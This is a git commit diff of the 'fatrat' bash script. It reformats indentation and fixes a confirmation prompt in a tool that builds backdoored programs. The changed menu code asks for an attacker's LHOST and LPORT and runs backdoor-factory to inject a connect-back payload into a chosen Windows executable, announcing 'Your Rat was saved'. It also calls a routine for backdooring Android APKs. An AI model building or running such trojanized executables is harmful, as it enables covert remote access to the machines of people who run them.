Clean Code Update Fix Some Error & Bugs
This commit is contained in:
parent
2c945936af
commit
4c7203bf03
260
fatrat
260
fatrat
|
@ -5781,50 +5781,49 @@ menu () {
|
|||
yourport=""
|
||||
fi
|
||||
if [ -z "$yourip" ]; then
|
||||
read -p ' Set LHOST IP: ' yourip
|
||||
read -p ' Set LHOST IP: ' yourip
|
||||
fi
|
||||
echo -e $okegreen ""
|
||||
echo -e $okegreen ""
|
||||
if [ -z "$yourport" ]; then
|
||||
read -p ' Set LPORT: ' yourport
|
||||
read -p ' Set LPORT: ' yourport
|
||||
fi
|
||||
read -p ' Please enter the base name for output files : ' fira
|
||||
invalid
|
||||
read -p ' Please enter the base name for output files : ' fira
|
||||
invalid
|
||||
if [ $err == "1" ]
|
||||
then
|
||||
echo -e $okegreen ""
|
||||
echo -n "Press [ENTER] key to return to menu ."
|
||||
read inp
|
||||
menu
|
||||
echo -e $okegreen ""
|
||||
echo -n "Press [ENTER] key to return to menu ."
|
||||
read inp
|
||||
menu
|
||||
fi
|
||||
selexe
|
||||
pldbkf
|
||||
echo ""
|
||||
gboor
|
||||
spinlong2
|
||||
echo ""
|
||||
echo -e $okegreen""
|
||||
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o $output/$fira.exe
|
||||
backout="$output/$fira.exe"
|
||||
if [ ! -f "$backout" ]
|
||||
then
|
||||
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
|
||||
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
|
||||
echo ""
|
||||
echo -e $okegreen "Press [ENTER] key to continue to main menu "
|
||||
read mmenu
|
||||
clear
|
||||
menu
|
||||
else
|
||||
echo ""
|
||||
echo -e $cyan "Your Rat was saved To :"
|
||||
echo -e $cyan "$output/$fira.exe"
|
||||
echo ""
|
||||
bkflst
|
||||
read bebeku
|
||||
clear
|
||||
menu
|
||||
|
||||
fi
|
||||
selexe
|
||||
pldbkf
|
||||
echo ""
|
||||
gboor
|
||||
spinlong2
|
||||
echo ""
|
||||
echo -e $okegreen""
|
||||
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o $output/$fira.exe
|
||||
backout="$output/$fira.exe"
|
||||
if [ ! -f "$backout" ]
|
||||
then
|
||||
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
|
||||
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
|
||||
echo ""
|
||||
echo -e $okegreen "Press [ENTER] key to continue to main menu "
|
||||
read mmenu
|
||||
clear
|
||||
menu
|
||||
else
|
||||
echo ""
|
||||
echo -e $cyan "Your Rat was saved To :"
|
||||
echo -e $cyan "$output/$fira.exe"
|
||||
echo ""
|
||||
bkflst
|
||||
read bebeku
|
||||
clear
|
||||
menu
|
||||
fi
|
||||
elif test $fatrat == '5'
|
||||
then
|
||||
embedapk
|
||||
|
@ -5889,35 +5888,35 @@ menu () {
|
|||
echo ""
|
||||
echo -ne $red" [>] $cyan Are you sure you want to clean payload folders? [y/N] : "
|
||||
read clean
|
||||
if [ $clean == "y" ] ;
|
||||
then
|
||||
echo ""
|
||||
else
|
||||
clear
|
||||
menu
|
||||
fi
|
||||
echo -e $red" [*] $cyan Cleaning $path/temp/"
|
||||
rm $path/temp/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/autorun/"
|
||||
rm $path/autorun/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $output/"
|
||||
rm $output/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/config/listeners/"
|
||||
rm $path/config/listeners/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
|
||||
rm *.exe *.apk >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
|
||||
read anjeng
|
||||
menu
|
||||
if [ $clean == "n" ] ;
|
||||
then
|
||||
clear
|
||||
menu
|
||||
else
|
||||
echo -ne $red"\n [*] $cyan Cleaning $path/temp/ "
|
||||
rm $path/temp/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/autorun/ "
|
||||
rm $path/autorun/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $output/ "
|
||||
rm $output/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/config/listeners/ "
|
||||
rm $path/config/listeners/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
|
||||
rm *.exe *.apk >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
|
||||
read anjeng
|
||||
menu
|
||||
fi
|
||||
|
||||
elif test $fatrat == '15'
|
||||
then
|
||||
|
@ -6026,50 +6025,49 @@ echo
|
|||
yourport=""
|
||||
fi
|
||||
if [ -z "$yourip" ]; then
|
||||
read -p ' Set LHOST IP: ' yourip
|
||||
read -p ' Set LHOST IP: ' yourip
|
||||
fi
|
||||
echo -e $okegreen ""
|
||||
echo -e $okegreen ""
|
||||
if [ -z "$yourport" ]; then
|
||||
read -p ' Set LPORT: ' yourport
|
||||
read -p ' Set LPORT: ' yourport
|
||||
fi
|
||||
read -p ' Please enter the base name for output files : ' fira
|
||||
invalid
|
||||
read -p ' Please enter the base name for output files : ' fira
|
||||
invalid
|
||||
if [ $err == "1" ]
|
||||
then
|
||||
echo -e $okegreen ""
|
||||
echo -n "Press [ENTER] key to return to menu ."
|
||||
read inp
|
||||
menu
|
||||
echo -e $okegreen ""
|
||||
echo -n "Press [ENTER] key to return to menu ."
|
||||
read inp
|
||||
menu
|
||||
fi
|
||||
selexe
|
||||
pldbkf
|
||||
echo ""
|
||||
gboor
|
||||
spinlong2
|
||||
echo ""
|
||||
echo -e $okegreen""
|
||||
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o $output/$fira.exe
|
||||
backout="$output/$fira.exe"
|
||||
if [ ! -f "$backout" ]
|
||||
then
|
||||
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
|
||||
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
|
||||
echo ""
|
||||
echo -e $okegreen "Press [ENTER] key to continue to main menu "
|
||||
read mmenu
|
||||
clear
|
||||
menu
|
||||
else
|
||||
echo ""
|
||||
echo -e $cyan "Your Rat was saved To :"
|
||||
echo -e $cyan "$output/$fira.exe"
|
||||
echo ""
|
||||
bkflst
|
||||
read bebeku
|
||||
clear
|
||||
menu
|
||||
selexe
|
||||
pldbkf
|
||||
echo ""
|
||||
gboor
|
||||
spinlong2
|
||||
echo ""
|
||||
echo -e $okegreen""
|
||||
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o $output/$fira.exe
|
||||
backout="$output/$fira.exe"
|
||||
if [ ! -f "$backout" ]; then
|
||||
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
|
||||
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
|
||||
echo ""
|
||||
echo -e $okegreen "Press [ENTER] key to continue to main menu "
|
||||
read mmenu
|
||||
clear
|
||||
menu
|
||||
else
|
||||
echo ""
|
||||
echo -e $cyan "Your Rat was saved To :"
|
||||
echo -e $cyan "$output/$fira.exe"
|
||||
echo ""
|
||||
bkflst
|
||||
read bebeku
|
||||
clear
|
||||
menu
|
||||
|
||||
fi
|
||||
fi
|
||||
elif test $fatrat == '5'
|
||||
then
|
||||
embedapk
|
||||
|
@ -6134,37 +6132,35 @@ elif test $fatrat == '11'
|
|||
echo ""
|
||||
echo -ne $red" [>] $cyan Are you sure you want to clean payload folders? [y/N] : "
|
||||
read clean
|
||||
if [ $clean == "y" ] ;
|
||||
if [ $clean == "n" ] ;
|
||||
then
|
||||
echo ""
|
||||
clear
|
||||
menu
|
||||
else
|
||||
clear
|
||||
menu
|
||||
echo -ne $red"\n [*] $cyan Cleaning $path/temp/ "
|
||||
rm $path/temp/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/autorun/ "
|
||||
rm $path/autorun/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $output/ "
|
||||
rm $output/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/config/listeners/ "
|
||||
rm $path/config/listeners/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
|
||||
rm *.exe *.apk >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
|
||||
read anjeng
|
||||
menu
|
||||
fi
|
||||
echo -e $red" [*] $cyan Cleaning $path/temp/"
|
||||
rm $path/temp/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/autorun/"
|
||||
rm $path/autorun/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $output/"
|
||||
rm $output/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/config/listeners/"
|
||||
rm $path/config/listeners/* >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
|
||||
rm *.exe *.apk >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo ""
|
||||
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
|
||||
read anjeng
|
||||
menu
|
||||
|
||||
elif test $fatrat == '15'
|
||||
then
|
||||
firefox https://github.com/Screetsec/TheFatRat/blob/master/README.md
|
||||
|
|
Loading…
Reference in New Issue